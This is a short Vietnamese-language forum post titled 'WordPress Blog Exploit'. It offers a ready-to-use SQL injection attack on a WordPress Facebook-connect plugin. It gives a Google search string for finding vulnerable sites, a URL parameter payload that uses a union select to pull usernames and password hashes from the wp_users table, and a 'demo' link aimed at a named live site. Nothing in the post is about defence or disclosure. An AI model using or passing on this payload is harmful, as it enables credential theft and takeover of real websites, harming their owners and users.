WordPress Blog Exploit

[VnSlo]

]search google: inurl:"fbconnect_action=myhome"

thay
?fbconnect_action=myhome&userid=

bằng
?fbconnect_action=myhome&fbuserid=1+and+1=2+union+ select+1,2,3,4,5,concat(user_login,0x3a,user_pass) z 0mbyak,7,8,9,10,11,12+from+wp_users--

demo : http://boneramamusic.com/?fbconnect...pass) z​0mbyak,7,8,9,10,11,12+from+wp_users--

Thank khi thấy bài viết có ích \m/